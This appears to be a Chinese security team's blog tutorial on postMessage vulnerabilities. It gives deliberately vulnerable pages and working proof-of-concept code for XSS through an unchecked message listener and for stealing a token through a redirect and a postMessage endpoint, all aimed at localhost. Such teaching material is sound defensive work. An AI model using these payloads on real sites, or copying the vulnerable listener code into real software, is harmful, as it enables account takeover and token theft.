浅谈postMessage与安全漏洞

文摘   科技   2023-02-08 10:41   四川  






挖掘思路:

    F12 -> 源代码 -> 全局监听器 -> message -> 分析消息

  • 判断是否有消息源的校验

    有消息源校验如下:

  • 消息体的走向,判断是否存在漏洞



01
AKSK案例-1 目标监听message事件-导致xss

漏洞代码:

<!-- vul.html --><head><meta charset="UTF-8"></head> <div id="receiveMessage">Hello World!</div> <script>window.onload = function() {    window.addEventListener('message', function (e) {  // 监听 message 事件        alert(e.origin);        document.getElementById('receiveMessage').innerHTML = "从"+ e.origin +"收到消息:" + e.data;    });}</script>

漏洞分析:

    创建了一个message的监听事件,将获取到的数据直接放进receiveMessagediv中,那么我们传入xss payload 也会被浏览器直接解析。

POC:

<script>    function pocFrame(win) {        let msg = "<img src=x onerror=alert(1)>";        win.postMessage(msg, '*');  }</script>
<iframe src="http://127.0.0.1:8000/vul.html" onload="pocFrame(this.contentWindow)"></iframe>


02
                 案例-2 数据窃取
目标存在postMessage,攻击代码监听

    

    漏洞案例灵感来源于https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/

漏洞代码:

<!--vul.html--><script>    var frameName = window.location.href.split("#")[1];    window.parent.postMessage(frameName,"*");</script>
<!--index.html--><body>    <script type="text/javascript">        function getUrlParams(url) {            // 通过 ? 分割获取后面的参数字符串            let urlStr = url.split('?')[1]            // 再通过 & 将每一个参数单独分割出来            let paramsArr = urlStr.split('&')            for(let i = 0,len = paramsArr.length;i < len;i++){                // 再通过 = 将每一个参数分割为 key:value 的形式                let arr = paramsArr[i].split('=')                if(arr[0]=='url'){                    return arr[1]                }            }        }        var target = getUrlParams(window.location.href)        if(target.indexOf("http://127.0.0.1:8000/")>-1){            //跳转            window.location.href = target+'#/?token=xxx-xxx-xxx-xxx';// 实际情况下,token由服务端生成。        }</script>    please input url to create token.</body>

漏洞分析:

打开主页后,发现:

  • 1.URL重定向,但重定向的目标必须和本站相同,也就是127.0.0.1:8000

  • 2.重定向过程中会带上token

    那么如果我们能够找到在该网站上存在的postMessage事件,就可以窃取到用户的token。

    同时发现了vul.html,刚好满足了该需求:

    那么此时,我们构造payload,窃取token:

    payload中,构造:

http://127.0.0.1:8000/postMessage_steal/index.html?url=http://127.0.0.1:8000/postMessage_steal/vul.html

    那么就会把token放到vul.html这个端点,该端点中触发postMessage事件。最终poc:

<head><meta charset="UTF-8"></head> <div id="receiveMessage">Hello World!</div>
<script> var exploit_url = 'http://127.0.0.1:8000/postMessage_steal/index.html?url=http://127.0.0.1:8000/postMessage_steal/vul.html'; var i = document.createElement('iframe'); i.setAttribute('id', 'i'); i.setAttribute('style', 'display:none;'); i.setAttribute('src', exploit_url); document.body.appendChild(i);
window.addEventListener('message', function(FB) { alert(FB.data); }, !1);</script>


03
Refference

https://www.anquanke.com/post/id/85136https://blog.csdn.net/cdyunaq/article/details/123923650https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/


getshell

姿

穿

-OARCE

Gobypass 



EN




川云安全团队
川云安全团队官方公众号,不定期推送技术文章,渗透技巧和热点新网等文章。